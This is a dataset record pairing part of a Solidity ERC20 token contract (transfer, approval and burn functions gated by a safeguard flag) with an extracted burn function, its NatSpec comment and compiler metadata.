* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | burn | function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
| /**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
5460,
5943
]
} | 11,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.